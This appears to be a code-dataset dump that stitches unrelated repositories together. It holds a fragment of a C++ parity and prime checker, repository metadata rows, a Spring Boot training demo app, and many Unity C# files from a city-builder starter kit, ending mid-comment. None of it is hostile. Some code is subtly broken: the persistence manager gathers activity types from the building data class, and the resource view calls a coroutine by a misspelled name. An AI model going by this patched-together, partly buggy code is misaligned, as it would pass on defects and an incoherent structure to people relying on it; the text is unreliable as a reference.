SetConsoleOutputCP( CP_UTF8 );
int l, b;
double n;
bool flag = false;
cout << " Введите число N: ";
cin >> n;
if( n == int(n) ) flag = true;
if ( flag == true ) {
if ( (int(n)%2)==0 )
cout << " Число чётное, ";
else
cout << " Число нечётное, ";
for( l = 2; l <= n / 2; l++ )
if( int(n)%l == 0 ) break;
if( l > n /2 )
cout << " простое.";
else
cout << " составное.";
} else { cout << " Ошибка: Число не целое."; }
return 0;
}
| 46ed928ac537ca9360720f00272823ea60103252 | [
"C++"
] | 6 | C++ | zerxfox/tasks-for-course | 8389c45d5df834ebb269c60947fe0b035cc4bca0 | adb834ee6f3b403feab858f04141b6585904373a |
refs/heads/master | <repo_name>hussamdurak/devops-training-demo-app<file_sep>/src/main/resources/import.sql
insert into book (id, title, author) values (1, 'zero-to-none', '<NAME>');
insert into book (id, title, author) values (2, 'devops', 'susantez');<file_sep>/src/main/java/com/definex/devopstraining/DevopsTrainingApplication.java
package com.definex.devopstraining;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.autoconfigure.domain.EntityScan;
import org.springframework.data.jpa.repository.config.EnableJpaRepositories;
@EnableJpaRepositories("com.definex.devopstraining.data.dao")
@EntityScan("com.definex.devopstraining.data.model")
@SpringBootApplication
public class DevopsTrainingApplication {
public static void main(String[] args) {
SpringApplication.run(DevopsTrainingApplication.class, args);
}
}
<file_sep>/README.md
## About
Sample [Spring Boot](http://projects.spring.io/spring-boot/) application to be used during DevOps 101 trainings workshop sessions
## Requirements
For building and running the application you need:
- [JDK 1.11](https://jdk.java.net/archive/)
- [Maven 3](https://maven.apache.org)
## Running the application locally
There are several ways to run a Spring Boot application on your local machine. One way is to execute the `main` method in the `com.definex.devopstraining.DevopsTrainingApplication` class from your IDE.
Alternatively you can package the application with maven and run the application via command line
```shell
mvn clean package
```
locate to the target directory and execute the package
```shell
cd target
java -jar devops-training-0.0.1.jar
```
use command below to retireve book information generated during initialization by `import.sql`
```shell
curl http://localhost:8080/training/v1/book/all
```
## Copyright
Released under the Apache License 2.0. See the [LICENSE](https://github.com/codecentric/springboot-sample-app/blob/master/LICENSE) file. | 07e31c1182335d932e67d2046c07dd098b15f015 | [
"Java",
"SQL",
"Markdown"
] | 3 | SQL | hussamdurak/devops-training-demo-app | 6e1336336d958214989ba0c2fe032ad20e0f207c | b2a5c30807178e24a561c4c21812aec78a6fbcfc |
refs/heads/master | <repo_name>projectgames-club/CityBuilderStarterKit<file_sep>/CityBuilderStarterKit/Scripts/Engine/Buildings/BuildingState.cs
namespace CBSK
{
/**
* List of possible building states
*/
public enum BuildingState
{
PLACING, // Building being initially placed on the map
PLACING_INVALID, // Building being initially placed on the map, but currently in a place where it cannot be built
IN_PROGRESS, // Building being built
READY, // Building is built and awaiting the user to finish
BUILT, // Building is built
MOVING // Building is built but being moved
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/UIResourceView.cs
using UnityEngine;
using UnityEngine.UI;
using System.Collections;
using System.Collections.Generic;
namespace CBSK
{
public class UIResourceView : MonoBehaviour
{
public Text resourceLabel;
public Text goldLabel;
public Text levelLabel;
public Image xpSprite;
// We could use a collection here but this is adequate to illustrate how you can handle more types
public Text customResource1Label;
public Image customResource1Sprite;
public Text customResource2Label;
public Image customResource2Sprite;
private int displayedResources;
private int displayedGold;
private int displayedCustomResources1;
private int displayedCustomResources2;
private string customResourceType1;
private string customResourceType2;
void Start()
{
displayedResources = ResourceManager.Instance.Resources;
resourceLabel.text = displayedResources.ToString();
displayedGold = ResourceManager.Instance.Gold;
goldLabel.text = displayedGold.ToString();
List<CustomResourceType> resources = ResourceManager.Instance.GetCustomResourceTypes();
if (resources.Count == 0)
{
customResource1Sprite.transform.parent.gameObject.SetActive(false);
}
else
{
customResource1Sprite.transform.parent.gameObject.SetActive(true);
customResource1Sprite.sprite = SpriteManager.GetButtonSprite(resources[0].spriteName);
displayedCustomResources1 = ResourceManager.Instance.GetCustomResource(resources[0].id);
customResource1Label.text = displayedCustomResources1.ToString();
customResourceType1 = resources[0].id;
}
if (resources.Count < 2)
{
customResource2Sprite.transform.parent.gameObject.SetActive(false);
}
else
{
customResource2Sprite.transform.parent.gameObject.SetActive(true);
customResource2Sprite.sprite = SpriteManager.GetButtonSprite(resources[1].spriteName);
displayedCustomResources2 = ResourceManager.Instance.GetCustomResource(resources[1].id);
customResource2Label.text = displayedCustomResources2.ToString();
customResourceType2 = resources[1].id;
}
}
public void UpdateResource(bool instant)
{
StopCoroutine("DisplayResource");
if (instant)
{
resourceLabel.text = ResourceManager.Instance.Resources.ToString();
displayedResources = ResourceManager.Instance.Resources;
}
else
{
StartCoroutine("DisplayResource");
}
}
public void UpdateGold(bool instant)
{
StopCoroutine("DisplayGold");
if (instant)
{
goldLabel.text = ResourceManager.Instance.Gold.ToString();
displayedGold = ResourceManager.Instance.Gold;
}
else
{
StartCoroutine("DisplayGold");
}
}
public void UpdateLevel(bool showLevelUp)
{
levelLabel.text = "Level " + ResourceManager.Instance.Level.ToString();
xpSprite.fillAmount = (float)(ResourceManager.Instance.Xp - ResourceManager.Instance.XpRequiredForCurrentLevel()) / (float)ResourceManager.Instance.XpRequiredForNextLevel();
if (showLevelUp)
{
// TODO Some kind of level up thingy
}
}
public void UpdateCustomResource1(bool instant)
{
StopCoroutine("DisplayCustomResource1");
if (instant)
{
customResource1Label.text = ResourceManager.Instance.GetCustomResource(customResourceType1).ToString();
displayedCustomResources1 = ResourceManager.Instance.GetCustomResource(customResourceType1);
}
else
{
StartCoroutine("DisplayCustomResource1");
}
}
public void UpdateCustomResource2(bool instant)
{
StopCoroutine("DisplayCustomerResource2");
if (instant)
{
customResource2Label.text = ResourceManager.Instance.GetCustomResource(customResourceType2).ToString();
displayedCustomResources2 = ResourceManager.Instance.GetCustomResource(customResourceType2);
}
else
{
StartCoroutine("DisplayCustomerResource2");
}
}
private IEnumerator DisplayResource()
{
while (displayedResources != ResourceManager.Instance.Resources)
{
int difference = displayedResources - ResourceManager.Instance.Resources;
if (difference > 2000) displayedResources -= 1000;
else if (difference > 200) displayedResources -= 100;
else if (difference > 20) displayedResources -= 10;
else if (difference > 0) displayedResources -= 1;
else if (difference < -2000) displayedResources += 1000;
else if (difference < -200) displayedResources += 100;
else if (difference < -20) displayedResources += 10;
else if (difference < 0) displayedResources += 1;
resourceLabel.text = displayedResources.ToString();
yield return true;
}
}
private IEnumerator DisplayGold()
{
while (displayedGold != ResourceManager.Instance.Gold)
{
int difference = displayedGold - ResourceManager.Instance.Gold;
if (difference > 2000) displayedGold -= 1000;
else if (difference > 200) displayedGold -= 100;
else if (difference > 20) displayedGold -= 10;
else if (difference > 0) displayedGold -= 1;
else if (difference < -2000) displayedGold += 1000;
else if (difference < -200) displayedGold += 100;
else if (difference < -20) displayedGold += 10;
else if (difference < 0) displayedGold += 1;
goldLabel.text = displayedGold.ToString();
yield return true;
}
}
private IEnumerator DisplayCustomResource1()
{
while (displayedCustomResources1 != ResourceManager.Instance.GetCustomResource(customResourceType1))
{
int difference = displayedCustomResources1 - ResourceManager.Instance.GetCustomResource(customResourceType1);
if (difference > 2000) displayedCustomResources1 -= 1000;
else if (difference > 200) displayedCustomResources1 -= 100;
else if (difference > 20) displayedCustomResources1 -= 10;
else if (difference > 0) displayedCustomResources1 -= 1;
else if (difference < -2000) displayedCustomResources1 += 1000;
else if (difference < -200) displayedCustomResources1 += 100;
else if (difference < -20) displayedCustomResources1 += 10;
else if (difference < 0) displayedCustomResources1 += 1;
customResource1Label.text = displayedCustomResources1.ToString();
yield return true;
}
}
private IEnumerator DisplayCustomResource2()
{
while (displayedCustomResources2 != ResourceManager.Instance.GetCustomResource(customResourceType2))
{
int difference = displayedCustomResources2 - ResourceManager.Instance.GetCustomResource(customResourceType2);
if (difference > 2000) displayedCustomResources2 -= 1000;
else if (difference > 200) displayedCustomResources2 -= 100;
else if (difference > 20) displayedCustomResources2 -= 10;
else if (difference > 0) displayedCustomResources2 -= 1;
else if (difference < -2000) displayedCustomResources2 += 1000;
else if (difference < -200) displayedCustomResources2 += 100;
else if (difference < -20) displayedCustomResources2 += 10;
else if (difference < 0) displayedCustomResources2 += 1;
customResource2Label.text = displayedCustomResources2.ToString();
yield return true;
}
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Persistence/SaveGameData.cs
using System.Collections.Generic;
/**
* All data required for a saved game.
*/
namespace CBSK
{
[System.Serializable]
public class SaveGameData
{
public virtual List<BuildingData> buildings { get; set; }
public virtual int resources { get; set; }
public virtual int gold { get; set; }
public virtual int xp { get; set; }
public virtual List<Activity> activities { get; set; }
public virtual List<CustomResource> otherResources { get; set; }
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Utility/Grid/IGridObject.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
namespace CBSK
{
/**
* Interface for any object that can be positioned on the grid
*/
public interface IGridObject
{
List<GridPosition> Shape { get; }
GridPosition Position { get; set; }
}
}
<file_sep>/CityBuilderStarterKit/Extensions/UnitAnimations/SimpleOccupantAnimator.cs
using UnityEngine;
using System.Collections;
/**
* Exmaple if an animated view of an occupant.
*/
namespace CBSK
{
public class SimpleOccupantAnimator : MonoBehaviour
{
public string walkNorthAnimation;
public string walkSouthAnimation;
public string attackNorthAnimation;
public Animator anim;
/// <summary>
/// Show sprite and start the animation.
/// </summary>
public void Show()
{
StartCoroutine("DoAnimation");
}
/// <summary>
/// Stop the animation and hide sprite.
/// </summary>
public void Hide()
{
StopCoroutine("DoAnimation");
}
/// <summary>
/// Do the animation.
/// </summary>
virtual protected IEnumerator DoAnimation()
{
// Random delay
yield return new WaitForSeconds(Random.Range(0.0f, 0.75f));
while (true)
{
// North
anim.Play(walkNorthAnimation);
yield return new WaitForEndOfFrame();
yield return new WaitForSeconds(anim.GetCurrentAnimatorStateInfo(0).length);
// Attack
anim.Play(attackNorthAnimation);
yield return new WaitForSeconds(3.0f);
// South
anim.Play(walkSouthAnimation);
yield return new WaitForEndOfFrame();
yield return new WaitForSeconds(anim.GetCurrentAnimatorStateInfo(0).length);
}
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/Buttons/BuildBuildingButton.cs
using UnityEngine;
using System.Collections;
namespace CBSK
{
/**
* Button on the select building panel which starts the
* PLACING process.
*/
public class BuildBuildingButton : UIButton
{
private string buildingTypeId;
public void Init(string buildingTypeId)
{
this.buildingTypeId = buildingTypeId;
}
public override void Click()
{
if (ResourceManager.Instance.CanBuild(BuildingManager.GetInstance().GetBuildingTypeData(buildingTypeId)))
{
BuildingManager.GetInstance().CreateBuilding(buildingTypeId);
UIGamePanel.ShowPanel(PanelType.PLACE_BUILDING);
}
else
{
Debug.LogWarning("This is where you bring up your in app purchase screen");
}
}
}
}
<file_sep>/CityBuilderStarterKit/Scripts/Engine/Occupants/OccupantData.cs
using System.Collections;
namespace CBSK
{
[System.Serializable]
public class OccupantData
{
/**
* Unique identifier for the occupant.
*/
public virtual string uid { get; set; }
/**
* The string defining the type of this occupant
*/
public virtual string occupantTypeString { get; set; }
/**
* Type reference.
*/
[System.Xml.Serialization.XmlIgnore]
public OccupantTypeData Type
{
get; set;
}
}
}
<file_sep>/CityBuilderStarterKit/Scripts/UI/UIOccupantSelectView.cs
using UnityEngine;
using UnityEngine.UI;
using System.Collections;
using System.Collections.Generic;
namespace CBSK
{
/**
* User interface for an individual occupant panel. Shown when
* selecting which occupant type to recruit.
*/
public class UIOccupantSelectView : MonoBehaviour
{
public Text titleLabel;
public Text descriptionLabel;
public Text allowsLabel;
public Text costLabel;
public Text levelLabel;
public Image sprite;
public Image backgroundSprite;
public ActivityButton recruitButton;
public Sprite availableBackground;
public Sprite unavailableBackground;
private OccupantTypeData type;
/**
* Set up the occupant with the given type data.
*/
public void InitialiseWithOccupantType(OccupantTypeData type)
{
this.type = type;
titleLabel.text = type.name;
descriptionLabel.text = type.description;
costLabel.text = type.cost.ToString();
sprite.sprite = SpriteManager.GetUnitSprite(type.spriteName);
UpdateOccupantStatus();
}
/**
* Updates the UI (text, buttons, etc), based on if the occupant type
* requirements are met or not.
*/
public void UpdateOccupantStatus()
{
// Level indicator
if (type.level == 0)
{
levelLabel.text = "";
}
else if (type.level <= ResourceManager.Instance.Level)
{
levelLabel.text = string.Format("<color=#000000>Level {0}</color>", type.level);
}
else
{
levelLabel.text = string.Format("<color=#ff0000>Requires Level {0}</color>", type.level);
}
if (OccupantManager.GetInstance().CanRecruitOccupant(type.id) && BuildingManager.ActiveBuilding.CanFitOccupant(type.occupantSize))
{
allowsLabel.text = string.Format("<color=#000000>Allows: {0}</color>", FormatIds(type.allowIds, false));
backgroundSprite.sprite = availableBackground;
recruitButton.gameObject.SetActive(true);
recruitButton.InitWithActivityType(DoActivity, ActivityType.RECRUIT, type.id);
}
else
{
if (OccupantManager.GetInstance().CanRecruitOccupant(type.id))
{
allowsLabel.text = "<color=#ff0000>Not Enough Room</color>";
backgroundSprite.sprite = unavailableBackground;
recruitButton.gameObject.SetActive(false);
}
else
{
allowsLabel.text = string.Format("<color=#000000>Requires: {0}</color>", FormatIds(type.requireIds, true));
backgroundSprite.sprite = unavailableBackground;
recruitButton.gameObject.SetActive(false);
}
}
}
/**
* Formats the allows/required identifiers to be nice strings, coloured correctly.
* Returns the identifiers.
*/
private string FormatIds(List<string> allowIds, bool redIfNotPresent)
{
BuildingManager manager = BuildingManager.GetInstance();
string result = "";
foreach (string id in allowIds)
{
if (redIfNotPresent && !manager.PlayerHasBuilding(id))
{
result += "<color=#ff0000>";
}
else
{
result += "<color=#000000>";
}
BuildingTypeData type = manager.GetBuildingTypeData(id);
if (type != null)
{
result += manager.GetBuildingTypeData(id).name + "</color>, ";
}
else
{
Debug.LogWarning("No building type data found for id:" + id);
result += id + "</color>, ";
}
}
if (result.Length > 2)
{
result = result.Substring(0, result.Length - 2);
}
else
{
return "Nothing";
}
return result;
}
/**
* Start the generic activity function.
*/
public void DoActivity(string type, string supportingId)
{
if (BuildingManager.ActiveBuilding.StartActivity(type, System.DateTime.Now, supportingId))
{
UIGamePanel.ShowPanel(PanelType.DEFAULT);
}
else
{
Debug.LogWarning("This is where you pop up your IAP screen");
}
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Activities/Activity.cs
using UnityEngine;
using System.Collections.Generic;
/**
* Generic class for an activity which is something
* done over time that can be sped up with gold.
*/
namespace CBSK
{
[System.Serializable]
public class Activity
{
/**
* Type of activity.
*/
public string Type
{
get; set;
}
/**
* Time activity commenced.
*/
public System.DateTime StartTime
{
get; set;
}
/**
* Time activity will finish.
*/
public System.DateTime EndTime
{
get; set;
}
/**
* Duration of activity in seconds.
*/
public int DurationInSeconds
{
get; set;
}
/**
* Supporting id, the first supporting id or null if none.
*/
[System.Xml.Serialization.XmlIgnore]
public string SupportingId
{
get
{
if (SupportingIds != null && SupportingIds.Count > 0) return SupportingIds[0];
return null;
}
}
/**
* Supporting ids
*/
public List<string> SupportingIds
{
get; set;
}
/**
* Implementation that checks time based on activity type.
*/
[System.Xml.Serialization.XmlIgnore]
public float PercentageComplete
{
get
{
float elapsedSeconds = (int)(System.DateTime.Now - StartTime).TotalSeconds;
float percentageComplete = elapsedSeconds / (float)DurationInSeconds;
if (percentageComplete > 1.0f) percentageComplete = 1.0f;
return percentageComplete;
}
}
/**
* Time left before this activity completes.
*/
[System.Xml.Serialization.XmlIgnore]
public System.TimeSpan RemainingTime
{
get
{
System.TimeSpan span = EndTime - System.DateTime.Now;
if (span.TotalSeconds < 0) return new System.TimeSpan(0);
return span;
}
}
/**
* Is this an auto activity?
*/
public bool IsAutoActivity
{
get
{
return (ActivityManager.GetInstance().GetActivityData(Type).automatic);
}
}
public Activity()
{
}
/**
* Create a new activity and populate with the supplied values.
*/
public Activity(string type, int durationInSeconds, System.DateTime startTime, string supportingId)
{
Type = type;
DurationInSeconds = durationInSeconds;
StartTime = startTime;
EndTime = startTime + new System.TimeSpan(0, 0, durationInSeconds);
SupportingIds = new List<string>();
SupportingIds.Add(supportingId);
}
/**
* Create a new activity and populate with the supplied values.
*/
public Activity(string type, int durationInSeconds, System.DateTime startTime, List<string> supportingIds)
{
Type = type;
DurationInSeconds = durationInSeconds;
StartTime = startTime;
EndTime = startTime + new System.TimeSpan(0, 0, durationInSeconds);
SupportingIds = new List<string>();
SupportingIds.AddRange(supportingIds);
}
}
public class ActivityType
{
public const string NONE = "NONE";
public const string BUILD = "BUILD";
public const string GATHER = "GATHER";
public const string AUTOMATIC = "AUTOMATIC";
public const string CLEAR = "CLEAR";
public const string RECRUIT = "RECRUIT";
public const string ATTACK = "ATTACK";
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/UIGamePanel.cs
using UnityEngine;
using UnityEngine.UI;
using System.Collections;
using System.Collections.Generic;
namespace CBSK
{
public class UIGamePanel : MonoBehaviour
{
public const float UI_DELAY = 0.75f;
public const float UI_TRAVEL_DIST = 0.6f;
public Vector2 NEW_UI_TRAVEL_DIST;
public float NEW_UI_DELAY = 10f;
public GameObject animatePanel;
public PanelType panelType;
[BitMask(typeof(PanelType))]
public PanelType openFromFlags;
//Used to hide and show the panel
internal bool isVisible;
private GameObject contentPanel;
private RectTransform uiTransform;
/**
* Position of the buttons when visible.
*/
protected Vector3 showPosition;
/**
* Position of the buttons when hidden.
*/
protected Vector3 hidePosition;
public static Dictionary<PanelType, UIGamePanel> panels;
public virtual void Awake()
{
if (panels == null) panels = new Dictionary<PanelType, UIGamePanel>();
panels.Add(panelType, this);
if (animatePanel != null)
{
//A subpanel has been defined, perform the transform movement on it instead
uiTransform = animatePanel.GetComponent<RectTransform>();
}
else
{
uiTransform = GetComponent<RectTransform>();
}
contentPanel = transform.GetChild(0).gameObject;
isVisible = contentPanel.activeInHierarchy;
showPosition = uiTransform.anchoredPosition;
hidePosition = (Vector2)showPosition + NEW_UI_TRAVEL_DIST;
if (panelType == PanelType.DEFAULT)
{
activePanel = this;
}
else
{
uiTransform.anchoredPosition = hidePosition;
}
Init();
}
virtual protected void Init()
{
}
virtual public void InitialiseWithBuilding(Building building)
{
}
virtual public void Show()
{
if (activePanel == this)
{
StartCoroutine(DoReShow());
}
else if (activePanel == null || HasOpenPanelFlag(activePanel.panelType))
{
if (activePanel != null)
{
activePanel.Hide();
}
StartCoroutine(DoShow());
activePanel = this;
}
}
virtual public void Hide()
{
StartCoroutine(DoHide());
}
public static void ShowPanel(PanelType panelType)
{
if (panelType == PanelType.DEFAULT) BuildingManager.ActiveBuilding = null;
if (panels.ContainsKey(panelType))
{
panels[panelType].Show();
}
}
public static UIGamePanel activePanel;
/**
* Reshow the panel (i.e. same panel but for a different object/building).
*/
virtual protected IEnumerator DoReShow()
{
MoveTo(hidePosition);
yield return new WaitForSeconds(UI_DELAY / 3.0f);
MoveTo(showPosition);
}
/**
* Show the panel.
*/
virtual protected IEnumerator DoShow()
{
yield return new WaitForSeconds(UI_DELAY / 3.0f);
//uiGroup.alpha = 1;
//uiGroup.blocksRaycasts = true;
SetPanelActive(true);
MoveTo(showPosition);
}
/**
* Hide the panel.
*/
virtual protected IEnumerator DoHide()
{
MoveTo(hidePosition);
yield return new WaitForSeconds(UI_DELAY / 3.0f);
//uiGroup.alpha = 0;
//uiGroup.blocksRaycasts = false;
SetPanelActive(false);
}
public virtual void SetPanelActive(bool isActive)
{
contentPanel.SetActive(isActive);
isVisible = isActive;
}
internal void MoveTo(Vector2 targetPosition)
{
iTween.ValueTo(gameObject, iTween.Hash(
"from", uiTransform.anchoredPosition,
"to", targetPosition,
"time", UI_DELAY,
"easetype", iTween.Defaults.easeType,
"onupdatetarget", this.gameObject,
"onupdate", "UpdateRectTransform")
);
}
private void UpdateRectTransform(Vector2 position)
{
uiTransform.anchoredPosition = position;
}
internal bool HasOpenPanelFlag(PanelType typeToCheck)
{
int val = (int)typeToCheck;
if (openFromFlags == 0) return true;
return (val & (int)openFromFlags) == val;
}
}
[System.Flags]
public enum PanelType
{
PLACE_PATH = (1 << 0),
DEFAULT = (1 << 1),
BUY_BUILDING = (1 << 2),
PLACE_BUILDING = (1 << 3),
RESOURCE = (1 << 4),
BUY_RESOURCES = (1 << 5),
BUILDING_INFO = (1 << 6),
SELL_BUILDING = (1 << 7),
OBSTACLE_INFO = (1 << 8),
SPEED_UP = (1 << 9),
RECRUIT_OCCUPANTS = (1 << 10),
VIEW_OCCUPANTS = (1 << 11),
TARGET_SELECT = (1 << 12),
BATTLE_RESULTS = (1 << 13)
}
}<file_sep>/CityBuilderStarterKit/Scripts/Editor/CityBuilderSettings.cs
#if UNITY_EDITOR
using UnityEditor;
using UnityEngine;
using System.Collections;
using System.IO;
using System.Xml.Serialization;
namespace CBSK
{
/// <summary>
/// Stores user settings.
/// </summary>
[System.Serializable]
public class CityBuilderSettings
{
#region serialised fields
/// <summary>
/// Should we show the welcome screen on startup?
/// </summary>
public bool showTipOnStartUp = true;
#endregion
public const string RelativeDataPath = "CityBuilderSettings.xml";
public static CityBuilderSettings instance;
/// <summary>
/// Gets the current settings or loads them if null.
/// </summary>
/// <value>The instance.</value>
public static CityBuilderSettings Instance {
get
{
if (instance == null) Load();
return instance;
}
}
/// <summary>
/// Load the data.
/// </summary>
protected static void Load()
{
try
{
using (StreamReader reader = new StreamReader(Application.dataPath + Path.DirectorySeparatorChar + RelativeDataPath))
{
XmlSerializer serializer = new XmlSerializer (typeof(CityBuilderSettings));
instance = (CityBuilderSettings)serializer.Deserialize (reader);
}
}
catch (IOException)
{
instance = new CityBuilderSettings();
}
}
/// <summary>
/// Save the data.
/// </summary>
public static void Save()
{
if (instance != null)
{
using (StreamWriter writer = new StreamWriter(Application.dataPath + Path.DirectorySeparatorChar + RelativeDataPath))
{
XmlSerializer serializer = new XmlSerializer(typeof(CityBuilderSettings));
serializer.Serialize(writer, instance);
}
}
}
}
}
#endif<file_sep>/CityBuilderStarterKit/Extensions/3DView/Scripts/BuildingModeGrid3D.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
/**
* The grid used in building mode for the 3D view.
*/
namespace CBSK
{
public class BuildingModeGrid3D : BuildingModeGrid
{
/**
* If there is already a grid destroy self, else initialise and assign to the static reference.
*/
void Awake()
{
if (instance == null)
{
if (!initialised) Init();
instance = (BuildingModeGrid)this;
}
else if (instance != this)
{
Destroy(gameObject);
}
}
/**
* Initialise the grid.
*/
override protected void Init()
{
initialised = true;
grid = new IGridObject[gridSize, gridSize];
FillUnusableGrid();
gridObjects = new Dictionary<IGridObject, List<GridPosition>>();
}
override public Vector3 GridPositionToWorldPosition(GridPosition position)
{
return GridPositionToWorldPosition(position, new List<GridPosition>(GridPosition.DefaultShape));
}
override public Vector3 GridPositionToWorldPosition(GridPosition position, List<GridPosition> shape)
{
// TODO Add shape handler
return new Vector3(position.x * gridWidth, 0, position.y * gridHeight);
}
override public GridPosition WorldPositionToGridPosition(Vector3 position)
{
return new GridPosition((int)((position.x) / gridWidth), (int)((position.z) / gridHeight));
}
/**
* Fill up the grid.
*/
protected void FillUnusableGrid()
{
// No need for unusable grid in 3D view as its already a rectangle.
if (gridUnusuableHeight > 0 || gridUnusuableWidth > 0) Debug.LogWarning("Unusable grid is ignored in 3D mode");
}
}
}
<file_sep>/CityBuilderStarterKit/Scripts/UI/Buttons/CancelBuildingButton.cs
using UnityEngine;
using System.Collections;
namespace CBSK
{
/**
* Cancel placing the building on the map and give the
* resources back.
*/
public class CancelBuildingButton : UIButton
{
public override void Click()
{
if (BuildingManager.ActiveBuilding != null)
{
// Moving
if (BuildingManager.ActiveBuilding.State == BuildingState.MOVING)
{
BuildingManager.ActiveBuilding.ResetPosition();
BuildingManager.ActiveBuilding.FinishMoving();
UIGamePanel.ShowPanel(PanelType.DEFAULT);
}
else
{
// Placing
if (BuildingManager.GetInstance().SellBuilding(BuildingManager.ActiveBuilding, true))
{
UIGamePanel.ShowPanel(PanelType.DEFAULT);
}
}
}
}
}
}<file_sep>/CityBuilderStarterKit/Extensions/3DView/Scripts/BuildingWithAutoAcknowledgeBuilding.cs
using UnityEngine;
using System.Collections;
/**
* A building implementation that automatically finishes all tasks.
*/
namespace CBSK
{
public class BuildingWithAutoAcknowledgeBuilding : Building
{
/**
* Finish building auto acknolwedge.
*/
override public void CompleteBuild()
{
State = BuildingState.READY;
BuildingManager.GetInstance().AcknowledgeBuilding(this);
Acknowledge();
// view.SendMessage ("UI_UpdateState");
}
}
}
<file_sep>/CityBuilderStarterKit/Scripts/UI/Buttons/AttackButton.cs
using UnityEngine;
using UnityEngine.UI;
using System.Linq;
namespace CBSK
{
/**
* A button which performs the attack activity.
*/
public class AttackButton : UIButton
{
public string activity;
public Image icon;
public Image ring;
public Image background;
public ChooseTargetButton chooseTargetButton;
void OnEnable()
{
UpdateStatus();
}
public void UpdateStatus()
{
if (OccupantManager.GetInstance().GetAllOccupants().Count < 1)
{
enabled = false;
icon.color = UIColor.DESATURATE;
ring.gameObject.SetActive(false);
background.color = UIColor.DESATURATE;
}
else
{
enabled = true;
icon.color = Color.white;
ring.gameObject.SetActive(true);
background.color = Color.white;
}
}
public override void Click()
{
ActivityManager.GetInstance().StartActivity(activity, System.DateTime.Now, OccupantManager.GetInstance().GetAllOccupants().Select(o => o.uid).ToList());
UIGamePanel.ShowPanel(PanelType.DEFAULT);
}
}
}
<file_sep>/CityBuilderStarterKit/Scripts/Engine/Resource/CustomResource.cs
using UnityEngine;
using System.Collections;
/// <summary>
/// A custom resource type like wood, etc.
/// </summary>
namespace CBSK
{
[System.Serializable]
public class CustomResource
{
/// <summary>
/// Name of the resource.
/// </summary>
public string id;
/// <summary>
/// The number the player has.
/// </summary>
public int amount;
/**
* Default constructor.
*/
public CustomResource() { }
/**
* Convenience constructor.
*/
public CustomResource(string id, int amount)
{
this.id = id;
this.amount = amount;
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/UIBattleResultsPanel.cs
using UnityEngine;
using UnityEngine.UI;
using System.Collections;
using System.Collections.Generic;
namespace CBSK
{
/**
* UI for showing result of battle.
*/
public class UIBattleResultsPanel : UIGamePanel
{
/**
* Label to show overall result.
*/
public Text resultLabel;
/**
* Label to show troop losses.
*/
public Text lossesLabel;
/**
* Label to show looted gold..
*/
public Text goldLabel;
/**
* Label to show looted resources.
*/
public Text resourceLabel;
/**
* GameObject showing the reward (loot).
*/
public GameObject rewardsGo;
/**
* Set up screen with correct values.
*/
public void InitialiseWithResults(bool victory, string lossString, int lootedGold, int lootedResources)
{
if (victory)
{
resultLabel.text = "Victory";
if (lossString == null || lossString.Length < 1) lossString = "None.";
lossesLabel.text = lossString;
rewardsGo.SetActive(true);
resourceLabel.text = lootedResources.ToString();
goldLabel.text = lootedGold.ToString();
}
else
{
resultLabel.text = "Defeat";
if (lossString == null || lossString.Length < 1) lossString = "None.";
lossesLabel.text = lossString;
rewardsGo.SetActive(false);
}
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Persistence/PersistenceManager.cs
using UnityEngine;
using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
/**
* Class for saving and loading data.
*/
namespace CBSK
{
public class PersistenceManager : Manager<PersistenceManager>
{
protected Type[] types;
/**
* Used to determine if there is a game that should be loaded.
*/
virtual public bool SaveGameExists()
{
return false;
}
/**
* Override this with a method to persist the game state.
*/
virtual public void Save()
{
Debug.LogWarning("You should extend this class with your own implementation or use one of the provided implementations.");
}
/**
* Override this with a method to load the game state
*/
virtual public SaveGameData Load()
{
Debug.LogWarning("You should extend this class with your own implementation or use one of the provided implementations.");
return null;
}
/**
* Gets the saved game data. ovveride this if you want to use a custom type
* to extend SaveGameData (for example if you add a new resource type).
*/
virtual protected SaveGameData GetSaveGameData()
{
SaveGameData dataToSave = new SaveGameData();
dataToSave.buildings = BuildingManager.GetInstance().GetSaveData();
dataToSave.resources = ResourceManager.Instance.Resources;
dataToSave.gold = ResourceManager.Instance.Gold;
dataToSave.xp = ResourceManager.Instance.Xp;
dataToSave.activities = ActivityManager.GetInstance().GetSaveData();
dataToSave.otherResources = ResourceManager.Instance.OtherResources;
return dataToSave;
}
virtual protected void InitTypes()
{
if (types == null)
{
Type[] buildingTypes = typeof(BuildingData).Assembly.GetTypes().Where(t => t != typeof(BuildingData) && typeof(BuildingData).IsAssignableFrom(t)).ToArray();
Type[] activityTypes = typeof(BuildingData).Assembly.GetTypes().Where(t => t != typeof(BuildingData) && typeof(BuildingData).IsAssignableFrom(t)).ToArray();
List<Type> allTypes = new List<Type>();
allTypes.AddRange(buildingTypes);
allTypes.AddRange(activityTypes);
types = allTypes.ToArray();
}
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Resource/CustomResourceType.cs
using UnityEngine;
using System.Collections;
/// <summary>
/// Data about a custom resource type.
/// </summary>
namespace CBSK
{
[System.Serializable]
public class CustomResourceType
{
/// <summary>
/// Id of the resource.
/// </summary>
public string id;
/// <summary>
/// Human readable name.
/// </summary>
public string name;
/// <summary>
/// Name of the sprite to use for this resource.
/// </summary>
public string spriteName;
/// <summary>
/// How many of the resource you get in a new game.
/// </summary>
public int defaultAmount;
}
}<file_sep>/CityBuilderStarterKit/Scripts/Engine/Paths/PathView.cs
using UnityEngine;
using System.Collections;
/**
* Simplified building view used for paths.
*/
namespace CBSK
{
public class PathView : BuildingView
{
/**
* Initialise the path view.
*/
override public void UI_Init(Building building)
{
this.building = building;
//widget = buildingSprite;
buildingSprite.color = Color.white;
buildingSprite.sprite = SpriteManager.GetBuildingSprite(building.Type.spriteName + PathManager.GetInstance().GetSpriteSuffix(building));
myPosition = transform.localPosition;
SnapToGrid();
//Vector3 position = grid.GridPositionToWorldPosition(building.Position);
//widget.depth = 999 - (int)position.z;
}
/**
